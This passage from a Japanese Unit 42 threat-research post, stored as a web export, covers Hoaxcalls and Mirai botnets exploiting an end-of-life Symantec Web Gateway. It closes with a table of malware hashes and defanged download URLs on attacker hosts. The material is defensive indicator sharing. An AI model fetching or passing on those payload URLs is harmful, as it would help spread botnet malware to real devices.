\u3002\u305f\u3060\u3057\u3001\u4ee5\u524d\u306e\u5b9f\u88c5\u304b\u3089\u3082\u660e\u3089\u304b\u306a\u3068\u304a\u308a\u3001\u8907\u6570\u306e\u30ad\u30fc\u3092\u4f7f\u7528\u3057\u305f\u304b\u3089\u3068\u3044\u3063\u3066\u305d\u306e\u3076\u3093\u6697\u53f7\u8907\u96d1\u5ea6\u304c\u9ad8\u307e\u308b\u308f\u3051\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002\u4eca\u56de\u306e\u5834\u5408\u3001\u57fa\u672c\u7684\u306b\u306f\u30d0\u30a4\u30c8\u5358\u4f4d\u30670x5a\u3068XOR\u6697\u53f7\u5316\u3059\u308b\u306e\u3068\u540c\u7b49\u306e\u7d50\u679c\u3068\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u306f\u3001\u30b5\u30f3\u30d7\u30eb\u81ea\u4f53\u306bDDoS\u6a5f\u80fd\u306f\u542b\u307e\u308c\u3066\u304a\u3089\u305a\u3001\u304b\u308f\u308a\u306b\u8cc7\u683c\u60c5\u5831\u306e\u30d6\u30eb\u30fc\u30c8\u30d5\u30a9\u30fc\u30b9\u3068Symantec Secure Web Gateway\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u3053\u3068\u3067\u611f\u67d3\u3092\u5e83\u3052\u308b\u5f79\u5272\u3092\u62c5\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<h5>\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u6210\u529f\u306b\u95a2\u3059\u308b\u4e88\u6e2c<\/h5>\n<p>\u672c\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u30fb\u611f\u67d3\u306e\u6210\u529f\u306b\u3064\u3044\u3066\u306f\u6b21\u306e2\u3064\u306e\u4e8b\u5b9f\u304b\u3089\u9650\u5b9a\u7684\u306a\u3082\u306e\u3068\u306a\u308a\u305d\u3046\u3067\u3059\u3002\u3053\u306e\u70b9\u306f\u8a00\u53ca\u3059\u308b\u4fa1\u5024\u304c\u3042\u308b\u3067\u3057\u3087\u3046\u3002<\/p>\n<ol>\n<li>\u4eca\u56de\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u5bfe\u8c61\u3068\u306a\u3063\u305fSymantec Secure Web Gateway\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u8106\u5f31\u6027\u306f\u3001\u8a8d\u8a3c\u5f8c\u306e\u8106\u5f31\u6027\u3067\u3059\u3002\u3064\u307e\u308a\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306f\u3059\u3067\u306b\u8a8d\u8a3c\u6e08\u307f\u306e\u30bb\u30c3\u30b7\u30e7\u30f3\u3067\u306e\u307f\u6709\u52b9\u3068\u3044\u3046\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/li>\n<li>\u5bfe\u8c61\u3068\u306a\u308b\u30c7\u30d0\u30a4\u30b9\u304c<a href=\"https:\/\/community.broadcom.com\/symantecenterprise\/communities\/community-home\/digestviewer\/viewthread?MessageKey=73c3e123-a1a2-49c6-b6a8-eeddefc6736c&amp;CommunityKey=33013c25-7e80-4c84-ac2f-fe6c85d9ec65&amp;tab=digestviewer#bm73c3e123-a1a2-49c6-b6a8-eeddefc6736c\">2012\u5e74<\/a>\u306b\u306f\u3059\u3067\u306b\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u3092\u7d42\u4e86\u3057\u3066\u3044\u308b\u88fd\u54c1\u3067\u3059\u3002\u3064\u307e\u308a\u65b0\u3057\u3044\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u3092\u4f7f\u7528\u3057\u305f\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u30d9\u30fc\u30b9\u306b\u306f\u5f71\u97ff\u3057\u306a\u3044\u3068\u3044\u3046\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/li>\n<\/ol>\n<h2>\u7d50\u8ad6<\/h2>\n<p>\u4eca\u56de\u306f\u3069\u3061\u3089\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u3064\u3044\u3066\u3082\u3001Symantec Secure Web Gateway \u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u8106\u5f31\u6027\u304c\u8a8d\u8a3c\u5f8c\u306e\u3082\u306e\u3067\u3042\u308b\u3068\u3044\u3046\u6027\u8cea\u4e0a\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u6210\u529f\u304c\u9650\u5b9a\u7684\u306b\u306a\u308b\u3053\u3068\u304c\u4e88\u6e2c\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u6b21\u306e\u65b9\u6cd5\u3067\u3053\u306e\u8105\u5a01\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>WildFire\u306f\u672c\u7a3f\u306b\u8a18\u8f09\u3057\u305f\u3059\u3079\u3066\u306e\u30b5\u30f3\u30d7\u30eb\u3092\u691c\u51fa\u3057\u300cMalicious(\u60aa\u610f\u306e\u3042\u308b)\u300d\u3082\u306e\u3068\u5224\u5b9a\u3057\u307e\u3059<\/li>\n<li>\u8105\u5a01\u9632\u5fa1\u306f\u672c\u4e9c\u7a2e\u306b\u3088\u3063\u3066\u4f7f\u7528\u3055\u308c\u308b\u3059\u3079\u3066\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u30d6\u30ed\u30c3\u30af\u3057\u307e\u3059<\/li>\n<\/ul>\n<p>\u672c\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306f\u6b21\u306eAutoFocus\u30bf\u30b0\u3067\u8ffd\u8de1\u3067\u304d\u307e\u3059:\u00a0<a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.SymantecWebGateway_RCE\">SymantecWebGateway_RCE<\/a><\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u672c\u7a3f\u3067\u898b\u3064\u304b\u3063\u305f\u30d5\u30a1\u30a4\u30eb\u30b5\u30f3\u30d7\u30eb\u3084\u4fb5\u5bb3\u306e\u5146\u5019\u306a\u3069\u3092\u3075\u304f\u3080\u8abf\u67fb\u7d50\u679c\u3092Cyber Threat Alliance(CTA \u30b5\u30a4\u30d0\u30fc\u8105\u5a01\u30a2\u30e9\u30a4\u30a2\u30f3\u30b9)\u306e\u30e1\u30f3\u30d0\u30fc\u3068\u5171\u6709\u3057\u307e\u3057\u305f\u3002CTA \u306e\u30e1\u30f3\u30d0\u30fc\u306f\u3053\u306e\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u3092\u4f7f\u7528\u3057\u3066\u3001\u304a\u5ba2\u69d8\u306b\u4fdd\u8b77\u3092\u8fc5\u901f\u306b\u63d0\u4f9b\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30b5\u30a4\u30d0\u30fc\u653b\u6483\u8005\u3092\u4f53\u7cfb\u7684\u306b\u963b\u5bb3\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002Cyber Threat Alliance\u306e\u8a73\u7d30\u306b\u3064\u3044\u3066\u306f\u3001\u6b21\u306eWeb\u30b5\u30a4\u30c8\u3092\u3054\u89a7\u304f\u3060\u3055\u3044:\u00a0<a href=\"https:\/\/www.cyberthreatalliance.org\/\">www.cyberthreatalliance.org<\/a><\/p>\n<h4>IoC<\/h4>\n<table>\n<tbody>\n<tr>\n<td><strong>\u521d\u51fa<\/strong><\/td>\n<td><strong>SHA256\u5024<\/strong><\/td>\n<td><strong>URL<\/strong><\/td>\n<\/tr>\n<tr>\n<td>2020-05-07<\/td>\n<td>1cec4576595048a179bf8c21b58f33ef61ae1825b2b3f0a86915a741a04f253f<\/td>\n<td>45[.]95.168.250\/swrgiuhguhwrguiwetu\/arm<\/td>\n<\/tr>\n<tr>\n<td>2020-05-07<\/td>\n<td>a31187ed8545789ff2979037e19e1ca18d35a75820a1ec91053782f30c47ecc5<\/td>\n<td>45[.]95.168.250\/swrgiuhguhwrguiwetu\/arm5<\/td>\n<\/tr>\n<tr>\n<td>2020-05-07<\/td>\n<td>ef5d39a3fa641b4d55d870437a9ba774eefcfa2c69066dd0a6fbe513a4b7a8f2<\/td>\n<td>45[.]95.168.250\/swrgiuhguhwrguiwetu\/arm6<\/td>\n<\/tr>\n<tr>\n<td>2020-05-07<\/td>\n<td>04e8356bdc8782cf03acc9f69ff6fa9dfde7378dcd1fe0dc737d13fd4d7e061e<\/td>\n<td>45[.]95.168.250\/swrgiuhguhwrguiwetu\/arm7<\/td>\n<\/tr>\n<tr>\n<td>2020-05-07<\/td>\n<td>60f755288c9d3110d2fe5d872b2c045156dcea4be9a5cc918bddf1e786881842<\/td>\n<td>45[.]95.168.250\/swrgiuhguhwrguiwetu\/m68k<\/td>\n<\/tr>\n<tr>\n<td>2020-05-07<\/td>\n<td>0e531e105aa3419cd19e95fa9d44f6176157002a09444a1e5465657d743180ac<\/td>\n<td>45[.]95.168.250\/swrgiuhguhwrguiwetu\/mips<\/td>\n<\/tr>\n<tr>\n<td>2020-05-07<\/td>\n<td>02dc186a39607475838bb4859f89e7a200f74fed41400ab5db4eb42d3f58f772<\/td>\n<td>45[.]95.168.250\/swrgiuhguhwrguiwetu\/mpsl<\/td>\n<\/tr>\n<tr>\n<td>2020-05-07<\/td>\n<td>72675ccf2d4e0d0aac2f5121a6a80ea1efc4f30b22e64b07bd891438de2bf82a<\/td>\n<td>45[.]95.168.250\/swrgiuhguhwrguiwetu\/ppc<\/td>\n<\/tr>\n<tr>\n<td>2020-05-07<\/td>\n<td>0a48cc158a07e13bd76ac941c4523692530f836d69256b02a10052248263d781<\/td>\n<td>45[.]95.168.250\/swrgiuhguhwrguiwetu\/sh4<\/td>\n<\/tr>\n<tr>\n<td>2020-05-07<\/td>\n<td>37dfde696632295e806924de3d3ab751404e2a968e063a12ce72eb2e3ce0b984<\/td>\n<td>45[.]95.168.250\/swrgiuhguhwrguiwetu\/x86<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>da84fd43cb8701c4e23dd0a4175ebccebda026ca2f47b7b1bad393205075389f<\/td>\n<td>164[.]132.92.180\/arm4<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>287645a5a29a39ef94aa0cdebdbd3cb4ad2a45ead8894fc323a5a2a76a7fdb0d<\/td>\n<td>164[.]132.92.180\/arm5<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>4a4316178e85e0d4c94d74af9f2258c045194cf7a4f4a83a90abf5db09fbaa04<\/td>\n<td>164[.]132.92.180\/i586<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>38290965b2cd8048b3ef076487b99dfbeef457f6f6f9998b95ff922e160a5113<\/td>\n<td>164[.]132.92.180\/i486<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>25d1c51135dca20f4f7a720f237d9186edde2a2a664ede6bef37e843e7be409c<\/td>\n<td>164[.]132.92.180\/i686<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>012d49c6e847f2f75983b46a9a1310dac29b5f8d30b665ae2124d8619b80753b<\/td>\n<td>164[.]132.92.180\/m68k<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>763dfa5f391d27e65be6682c2e58c888df309fa2732781db312f5c9b10e6d5a1<\/td>\n<td>164[.]132.92.180\/mips<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>ad1156e6ad91b02f225d82d96000cf9abf671a305e8c5c61229d69dbed5050ba<\/td>\n<td>164[.]132.92.180\/mips64<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>28f31eb4b1fd3b7e742f5043a26b383585317d16bbfdae0296e18b90dcbec29b<\/td>\n<td>164[.]132.92.180\/ppc440<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>5d8756118b7e017eb4f4c5da4236191b20a5c8cb96abb76c26f0e918a76bd973<\/td>\n<td>164[.]132.92.180\/mpsl<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>1f64287ae9ea968017b3615f2b5b51932d7eeb3f0ee6621f74ae29af8f1a27d5<\/td>\n<td>164[.]132.92.180\/sh4<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>65a8ea32f77c2d18325d49d0cc32a4bbf893a2f106e77e8a8670191c71b456a9<\/td>\n<td>164[.]132.92.180\/spc<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>2b0854d40d8ffdca886f4540156b7addc4245de5df197e39ce198b9cf098944a<\/td>\n<td>164[.]132.92.180\/arm6<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>43ce5e4fb95b57fa2921d718e989107a594d5287b5bbbcb3e9bff262a982e815<\/td>\n<td>164[.]132.92.180\/ppc<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>3d6be7b9bd4798000230e354a5777601ca6672c8d84af842469ddeb1681ed7f2<\/td>\n<td>164[.]132.92.180\/arm7<\/td>\n<\/tr>\n<tr>\n<td>2020-05-02<\/td>\n<td>e0141934100df75d6b0c61858fc4cc44f97ce2a2588aa5d042f965f9542b843b<\/td>\n<td>164[.]132.92.180\/x86<\/td>\n<\/tr>\n<tr>\n<td>2020-05-01<\/td>\n<td>85f397e052950f736b32f0463dce7a1458ed034bec57284ea83d2ee4788f8a82<\/td>\n<td>164[.]132.92.180\/x86<\/td>\n<\/tr>\n<tr>\n<td>2020-05-01<\/td>\n<td>b39763036951bb373e1389362c4de6c4cbd3af3757dbb66d53fceb69de02677f<\/td>\n<td>164[.]132.92.180\/arm7<\/td>\n<\/tr>\n<tr>\n<td>2020-05-01<\/td>\n<td>6d76fd0bb5ba2d1c19f64288bb4b20eb136171aa8ea1afb685d2e363911aab2f<\/td>\n<td>164[.]132.92.180\/arm6<\/td>\n<\/tr>\n<tr>\n<td>2020-05-01<\/td>\n<td>5415ce3e759bcc3a8a163a84b64a7185f6540d4ec0ff07627ac770fd0ef0244d<\/td>\n<td>164[.]132.92.180\/arm5<\/td>\n<\/tr>\n<tr>\n<td>2020-05-01<\/td>\n<td>b52f8ff49e172a3e41ec60010c4089e3534ad1f0582a7ee04c4aa58c34db21ca<\/td>\n<td>164[.]132.92.180\/arm4<\/td>\n<\/tr>\n<tr>\n<td>2020-05-01<\/td>\n<td>e248445c39cac693fc2a921e41879fb80286f418c352d7a9d428d6181fe113a3<\/td>\n<td>164[.]132.92.180\/mpsl<\/td>\n<\/tr>\n<tr>\n<td>2020-05-01<\/td>\n<td>a3e2d3536d3facd3d825949addd7e99152b5df395b26e41e04b16be0a8cf4d85<\/td>\n<td>164[.]132.92.180\/mips<\/td>\n<\/tr>\n<tr>\n<td>2020-04-27<\/td>\n<td>82e5e0f6c130a3f0424cf33468f5ec7a3a66d14f5d346196d1b604ecd2b1e6a3<\/td>\n<td>164[.]132.92.180\/x86<\/td>\n<\/tr>\n<tr>\n<td>2020-04-27<\/td>\n<td>fa1bc69c9eccaaa4b8131856f9e69837f10dfa1236a65e0a8954d297c2a465bd<\/td>\n<td>164[.]132.92.180\/arm4<\/td>\n<\/tr>\n<tr>\n<td>2020-04-26<\/td>\n<td>233d4f6ee9f0ffb52b88de0218a0a4b04e3b20c5440e6414255d644ef696d190<\/td>\n<td><\/td>\n<\/tr>\n<tr>\n<td>2020-04-24<\/td>\n<td>81e9a4b8f8a7d06d871488d9c869bde54a83ff7fe33d652ed58c10109b9830ee<\/td>\n<td>plexle[.]us\/Th5xrRAm<\/td>\n<\/tr>\n<tr>\n<td>2020-04-24<\/td>\n<td>e15eeeaeb0ac0639bf3491ba8801e30516e085047f2d787397966065bdf9d5e7<\/td>\n<td><\/td>\n<\/tr>\n<tr>\n<td>2020-04-24<\/td>\n<td>5916171938fba2d218de38c8b1f484345bc62d436b7b501ef986ae06c133b13d<\/td>\n<td><\/td>\n<\/tr>\n<tr>\n<td>2020-04-24<\/td>\n<td>970496ac754ce7573216950a9904bdfc75574b4c0605e1d62364be799b9c813b<\/td>\n<td><\/td>\n<\/tr>\n<tr>\n<td>2020-04-24<\/td>\n<td>735beaa92e7d697a521c7ed5292b3e8100c29a2af88f1a1b99abf0a1bc5ab5c8<\/td>\n<td>164[.]132.92.180\/i686<\/td>\n<\/tr>\n<tr>\n<td>2020-04-24<\/td>\n<td>84e017a59f9f7d7d5fde40bc2867a1e9d6ec6fae63b3e21685b3bb7166357531<\/td>\n<td>164[.]132.92.180\/arm7<\/td>\n<\/tr>\n<tr>\n<td>2020-04-24<\/td>\n<td>81e9a4b8f8a7d06d871488d9c869bde54a83ff7fe33d652ed58c10109b9830ee<\/td>\n<td><\/td>\n<\/tr>\n<tr>\n<td>2020-04-24<\/td>\n<td>9ce642628cec8de80d2186d5d7f020635180326ed9e33cabde46d6c9b2caba1b<\/td>\n<td><\/td>\n<\/tr>\n<tr>\n<td>2020-04-24<\/td>\n<td>20c3f1bbf4ae4733c6e01eb4f82a251bcb5b0ae0bd5f1b1a028b7ff65ea779af<\/td>\n<td><\/td>\n<\/tr>\n<tr>\n<td>2020-04-24<\/td>\n<td>ddab987e986f76fcc36af92a6ea15439dd36253d91c0c3cddd77b2b9fd9ff395<\/td>\n<td><\/td>\n<\/tr>\n<tr>\n<td>2020-04-24<\/td>\n<td>7bca6fcc70d14253803780e80ee57b29814adeae1af993374f919a1017f5b0f5<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 \u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u8105\u5a01\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u8abf\u67fb\u30c1\u30fc\u30e0Unit 42\u306f\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306e\u8105\u5a01\u3092\u7a4d\u6975\u7684\u306b\u76e3\u8996\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u53d6\u308a\u7d44\u307f\u306e\u4e00\u74b0\u3068\u3057\u3066\u3001\u6700\u8fd1\u7b46\u8005\u306fSymantec Secure Web Gateway 5.<\/p>\n","protected":false},"author":63,"featured_media":134416,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4321,1974,4428],"tags":[5769,6323,6325,4679,6326,4547],"product_categories":[4346,4442,4444],"coauthors":[887],"class_list":["post-107259","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-threat-research","category-malware-ja","category-threat-research-ja","tag-ddos-ja","tag-gafgyt-ja","tag-hoaxcalls-ja","tag-iot-ja","tag-linux-botnet","tag-mirai-ja","product_categories-advanced-threat-prevention","product_categories-advanced-threat-prevention-ja","product_categories-advanced-wildfire-ja"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.0 (Yoast SEO v27.0) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Mirai\u3001Hoaxcalls\u304c\u6a19\u7684\u3092\u62e1\u5927 \u30b5\u30dd\u30fc\u30c8\u7d42\u4e86\u30d0\u30fc\u30b8\u30e7\u30f3\u306eSymantec Web Gateway\u3092\u72d9\u3046<\/title>\n<meta name=\"description\" content=\"Symantec Secure Web Gateway 5.0.2.8\u306e\u8a8d\u8a3c\u5f8c\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\u3092\u72d9\u3046\u65b0\u305f\u306aHoaxcalls\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3001Mirai\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u304c\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002\u672c\u7a3f\u306f\u305d\u308c\u3089\u306e\u6280\u8853\u7684\u8a73\u7d30\u3092\u89e3\u8aac\u3057\u307e\u3059\u3002\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/hoaxcalls-mirai-target-legacy-symantec-web-gateways\/\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" 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content=\"2020-05-15T01:59:20+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/05_Vulnerabilities_1920x900.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"900\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Ruchna Nigam\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Mirai\u3001Hoaxcalls\u304c\u6a19\u7684\u3092\u62e1\u5927 \u30b5\u30dd\u30fc\u30c8\u7d42\u4e86\u30d0\u30fc\u30b8\u30e7\u30f3\u306eSymantec Web Gateway\u3092\u72d9\u3046","description":"Symantec Secure Web Gateway 5.0.2.8\u306e\u8a8d\u8a3c\u5f8c\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\u3092\u72d9\u3046\u65b0\u305f\u306aHoaxcalls\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3001Mirai\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u304c\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002\u672c\u7a3f\u306f\u305d\u308c\u3089\u306e\u6280\u8853\u7684\u8a73\u7d30\u3092\u89e3\u8aac\u3057\u307e\u3059\u3002","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/unit42.paloaltonetworks.com\/ja\/hoaxcalls-mirai-target-legacy-symantec-web-gateways\/","og_locale":"ja_JP","og_type":"article","og_title":"Mirai\u3001Hoaxcalls\u304c\u6a19\u7684\u3092\u62e1\u5927 \u30b5\u30dd\u30fc\u30c8\u7d42\u4e86\u30d0\u30fc\u30b8\u30e7\u30f3\u306eSymantec Web Gateway\u3092\u72d9\u3046","og_description":"Symantec Secure Web Gateway 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